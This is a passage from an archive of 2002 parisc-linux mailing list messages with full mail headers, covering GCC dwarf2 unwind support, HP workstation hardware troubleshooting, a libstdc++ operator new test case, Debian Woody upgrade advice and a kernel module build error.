I think after the next 4 years I'll have gained enough experience
to do this task, but not in the near future :(


The reason why I'm subscribed to this list is basically:
I own 2 HP workstations, and I want to learn a little bit about
them and - even more interesting - I want to contribute a little
help by testing software and sending bug reports.

Last but not least some kudos:
I have to say that this mailing list is the most competent,
tolerant, indulgent, helpful and friendly maining lists of all
the os mailing lists I was subscribed to so far (xMach, Linux/SPARC,
Linux/x86, FreeBSD, OpenBSD, Hurd, L4) or browsed though (even more).

It's really amazing how much progress Linux/PARISC has made in the
last few years. In comparison to other architectures (e.g. MIPS,
m68k, SPARC and VAX etc.) it seems that here are people working
day and night to support parisc-linux (or the people of some other
architectures don't put too much effort in their work ;)!

Keep on the good work!!!

greeting max




From - Thu Nov 08 21:22:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] GCC support for dwarf2
Date: Fri, 5 Apr 2002 13:19:59 -0500 (EST)
Lines: 11
Approved: news@gmane.org
Message-ID: <200204051820.g35IK0k2014579@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621219 6080 80.91.229.3 (22 Nov 2014 01:53:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  5 11:20:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2ED46482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Apr 2002 11:20:04 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g35IK1FN014582
	for <parisc-linux@lists.parisc-linux.org>; Fri, 5 Apr 2002 13:20:02 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g35IK0k2014579
	for parisc-linux@lists.parisc-linux.org; Fri, 5 Apr 2002 13:20:00 -0500 (EST)
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14535

I posted a patch to the gcc trunk a couple of days ago that provides
the first working dwarf2 exception and unwind support under hppa-linux.
The g++ testresults look pretty good but it hasn't had any real world
testing.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt McKenzie <linuxknight@attbi.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 715/75, front LEDs
Date: 05 Apr 2002 16:28:40 -0800
Lines: 51
Approved: news@gmane.org
Message-ID: <1018052920.10719.110.camel@mustang>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621220 6088 80.91.229.3 (22 Nov 2014 01:53:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:40 +0000 (UTC)
To: PARISC-Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr  5 17:28:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rwcrmhc53.attbi.com (rwcrmhc53.attbi.com [204.127.198.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8A1FC482A
	for <parisc-linux@lists.parisc-linux.org>; Fri,  5 Apr 2002 17:28:40 -0700 (MST)
Original-Received: from mustang ([24.126.132.94]) by rwcrmhc53.attbi.com
          (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP
          id <20020406002838.BKEW21252.rwcrmhc53.attbi.com@mustang>
          for <parisc-linux@lists.parisc-linux.org>;
          Sat, 6 Apr 2002 00:28:38 +0000
X-Mailer: Evolution/1.0.2 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14536

Greetings.

I am new to the HP UNIX world but not a total newbie to the UNIX world
in general.  I have been using Linux since RedHat 6.0 first came out,
and I have used FreeBSD, NeXTSTEP and Solaris a bit as well.  I belong
to Orange County Linux Users Group (www.oclug.org) in California.

This is a hardware problem not a PA-RISC Linux problem per se, but I
can't put Linux on it until its fixed, so I hope this is acceptable on
the list.  

I just recently acquired an HP 715/75, with monitor, kb, mouse.
Our school received several different HP systems as a donation from a
local company some time ago, but we recently have gotten Sun Ultra-10s
so the HPs are now collecting dust mostly.  To make a long story short
the prof in charge of this lab gave me one.

After much searching, and coming up blank, someone on my local LUG
mailing list finally found the documentation for the 715, and if I am
reading the LED troubleshooting tables correctly, it is having this
problem:

Internal inconsistency: IODC ENTRY_INIT.

The documentation doesn't mention exactly what this means or what to do
about it.

The power LED is green, and LEDs 1,2 and 6 are solid orange.  I think
LED 4 (heartbeat) is blinking like it's supposed to, but not sure.

The monitor is blank when the system powers up.  At first I thought it
could be a problem with the monitor or video cable but we tested the
cable on another HP in the school lab and it was fine.  The monitor
might still be a problem, but according to the LEDs it might be
something else.

Any help is appreciated.  Apologies if this is not directly on-topic.

Thanks!




-- 
73 de K6LNX

Matt M.
LinuxKnight




From - Thu Nov 08 21:22:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dynamic loader problem
Date: Sat, 6 Apr 2002 09:54:52 -0800
Lines: 39
Approved: news@gmane.org
Message-ID: <20020406175452.GF356@tausq.org>
References: <200203111808.g2BI8u5N013881@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621220 6092 80.91.229.3 (22 Nov 2014 01:53:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, 140494-done@bugs.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr  6 10:55:02 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id BFD62482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  6 Apr 2002 10:55:01 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id lpakmaaa for parisc-linux@lists.parisc-linux.org; Sat, 6 Apr 2002 10:54:00 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.34 #1 (Debian))
	id 16tuOq-0001kr-00; Sat, 06 Apr 2002 09:54:52 -0800
Content-Disposition: inline
In-Reply-To: <200203111808.g2BI8u5N013881@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14537

In reference to a message from John David Anglin, dated Mar 11:
> In looking at the the failure of the g++.brendan/new3.C, I have observed
> what appears to be a problem with the dynamic loader.  The function
> _Znwj appears as a global symbol in the main program and in
> libstdc++.so.4.0.0.  The version in the main program should be selected
> in preference to the one in the shared library.  However, the dynamic
> loader actually uses the version in the shared library causing the
> test to fail.  The program works ok with static linkage.
> 
> It looks like the symbol search procedure used in glibc needs some work.

ok, recently events have prompted me to look at this again...

isn't the test itself broken?

it does this:

void *operator new(size_t sz) .....

int main() 
{
  A *bb = new A[10]; 
  ...
}

you define "operator new", but are calling operator new[], so it
defaults to the one in libstdc++...

if you change the definition of "operator new" to "operator new[]" then
the test will pass.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:22:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: H_Aue@t-online.de (Hinrich Aue)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/80 for free
Date: Sat, 6 Apr 2002 23:21:07 +0200
Lines: 9
Approved: news@gmane.org
Message-ID: <16txcX-1sNoNUC@fwd05.sul.t-online.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621220 6095 80.91.229.3 (22 Nov 2014 01:53:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:40 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr  6 14:24:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout08.sul.t-online.com (mailout08.sul.t-online.com [194.25.134.20])
	by dsl2.external.hp.com (Postfix) with ESMTP id 74DD1482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  6 Apr 2002 14:24:27 -0700 (MST)
Original-Received: from fwd05.sul.t-online.de 
	by mailout08.sul.t-online.com with smtp 
	id 16txcZ-0003aG-08; Sat, 06 Apr 2002 23:21:15 +0200
Original-Received: from there (320008472305-0001@[217.82.252.249]) by fwd05.sul.t-online.com
	with smtp id 16txcX-1sNoNUC; Sat, 6 Apr 2002 23:21:13 +0200
X-Mailer: KMail [version 1.3.2]
X-Sender: 320008472305-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14538

perhaps somebody imagines my offer:
a free 715/80 ?
I'm a bit stressed in university, but now I found some time.
One of my machines broke. So, sorry I have only 1 remaining and I need it as 
a server.

Hinrich



From - Thu Nov 08 21:22:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: H_Aue@t-online.de (Hinrich Aue)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Woody - stable
Date: Sat, 6 Apr 2002 23:32:31 +0200
Lines: 8
Approved: news@gmane.org
Message-ID: <16txna-16kV72C@fwd05.sul.t-online.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621221 6097 80.91.229.3 (22 Nov 2014 01:53:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:41 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr  6 14:32:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout07.sul.t-online.com (mailout07.sul.t-online.com [194.25.134.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 596B2482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  6 Apr 2002 14:32:52 -0700 (MST)
Original-Received: from fwd05.sul.t-online.de 
	by mailout07.sul.t-online.com with smtp 
	id 16txnl-0005ZR-09; Sat, 06 Apr 2002 23:32:49 +0200
Original-Received: from there (320008472305-0001@[217.82.252.249]) by fwd05.sul.t-online.com
	with smtp id 16txna-16kV72C; Sat, 6 Apr 2002 23:32:38 +0200
X-Mailer: KMail [version 1.3.2]
X-Sender: 320008472305-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14539

I installed Debian unstable a bit ago. (pa-linux 0.92)
Now I read on /. that Woody becomes stable.
I think I use SID (unstable everywhere in sources.list)
Is it good to use the stable release(Woody) when released?
What do I have to do? Just change sources.list entries from unstable to 
stable?



From - Thu Nov 08 21:22:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Woody - stable
Date: Sat, 6 Apr 2002 16:11:01 -0800
Lines: 26
Approved: news@gmane.org
Message-ID: <20020407001101.GN356@tausq.org>
References: <16txna-16kV72C@fwd05.sul.t-online.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621221 6099 80.91.229.3 (22 Nov 2014 01:53:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:41 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Hinrich Aue <H_Aue@t-online.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Apr  6 17:11:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id C18FA482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  6 Apr 2002 17:11:05 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id alckmaaa for parisc-linux@lists.parisc-linux.org; Sat, 6 Apr 2002 17:10:09 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.34 #1 (Debian))
	id 16u0Gr-0002Ho-00; Sat, 06 Apr 2002 16:11:01 -0800
Content-Disposition: inline
In-Reply-To: <16txna-16kV72C@fwd05.sul.t-online.com>
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14540

In reference to a message from Hinrich Aue, dated Apr 06:
> I installed Debian unstable a bit ago. (pa-linux 0.92)
> Now I read on /. that Woody becomes stable.
> I think I use SID (unstable everywhere in sources.list)
> Is it good to use the stable release(Woody) when released?
> What do I have to do? Just change sources.list entries from unstable to 
> stable?

For reference, this type of question should be sent to
debian-hppa@lists.debian.org instead.

You can either change the references of 'unstable' to 'stable' when
woody gets released, or you can change the reference of 'unstable' to
'woody', then you'll always track woody.

Note 'unstable' doesn't become woody, it is 'testing' that is becoming
'woody'.

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:22:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ahbaid Gaffoor <ahbaidg@attbi.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] K220 - Setup via. Console
Date: Sun, 07 Apr 2002 22:35:58 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <3CB12C3E.B6FB23DB@attbi.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621221 6103 80.91.229.3 (22 Nov 2014 01:53:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:41 +0000 (UTC)
To: parisc <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Apr  7 21:42:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rwcrmhc51.attbi.com (rwcrmhc51.attbi.com [204.127.198.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4E530482A
	for <parisc-linux@lists.parisc-linux.org>; Sun,  7 Apr 2002 21:42:17 -0600 (MDT)
Original-Received: from attbi.com ([12.237.133.240]) by rwcrmhc51.attbi.com
          (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP
          id <20020408034216.BVCL18078.rwcrmhc51.attbi.com@attbi.com>
          for <parisc-linux@lists.parisc-linux.org>;
          Mon, 8 Apr 2002 03:42:16 +0000
X-Mailer: Mozilla 4.78 [en] (Windows NT 5.0; U)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14541

Hello,

I have a K220. I'd like to install the latest release of PA-RISC Linux
on it but I need to first of all be able to console into it.

I am trying to use the console cable I have used with Sun boxes on this
machine, however I just cannot get it to work? My terminal emulation is
done via HyperTerminal on a laptopb via. COM1

I do not get any output information on my console connection.

What do I need to do this?

What seeting do I need on my terminal emulator? Or is there some jumper
I have to set to allow this to work? Currently I use 9600 8N1, I also
tried 7E1 but still no luck...

Please help...

Thanks...

Ahbaid.




From - Thu Nov 08 21:22:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] GCC support for dwarf2
Date: Mon, 08 Apr 2002 08:15:20 +0200 (CEST)
Lines: 11
Approved: news@gmane.org
Message-ID: <1018246520.3cb13578be656@webmail.tiscalinet.be>
References: <200204041546.g34FkZwt010003@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621222 6109 80.91.229.3 (22 Nov 2014 01:53:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:42 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  8 00:15:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id A4F23482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Apr 2002 00:15:30 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16uSQy-0003qb-00; Mon, 08 Apr 2002 08:15:20 +0200
In-Reply-To: <200204041546.g34FkZwt010003@hiauly1.hia.nrc.ca>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14542

Hi Dave,

What could we do to help? Do we have to install snapshot gcc? Which programs
would be tested?

Joel

-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Linux palinux 2.4.19-pre5-pa0 #2 Mon Apr 8 15:16:06 CEST 2002 parisc unknown
Date: Mon, 08 Apr 2002 16:51:46 +0200 (CEST)
Lines: 24
Approved: news@gmane.org
Message-ID: <1018277506.3cb1ae82d2cca@webmail.tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621222 6112 80.91.229.3 (22 Nov 2014 01:53:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:53:42 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  8 08:51:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3ED66482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  8 Apr 2002 08:51:48 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 16uaUk-0000Wc-00
	for <parisc-linux@lists.parisc-linux.org>; Mon, 08 Apr 2002 16:51:46 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14543

Hi all,

It seems to works just still have a problem with modules:

mkdir -p pcmcia; \
find kernel -path '*/pcmcia/*' -name '*.o' | xargs -i -r ln -sf ../{} pcmcia
if [ -r System.map ]; then /sbin/depmod -ae -F System.map  2.4.19-pre5-pa0; fi
depmod: *** Unresolved symbols in
/lib/modules/2.4.19-pre5-pa0/kernel/drivers/scsi/scsi_debug.o
depmod: 	vmalloc
make: *** [_modinst_post] Error 1
Mon Apr  8 16:04:06 CEST 2002

Any idea?

Joel

PS: The full compressed patch is about 4Mb so I could not join to this mail :(
if any ineterest let me know where can I upload.

-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:22:23 2018
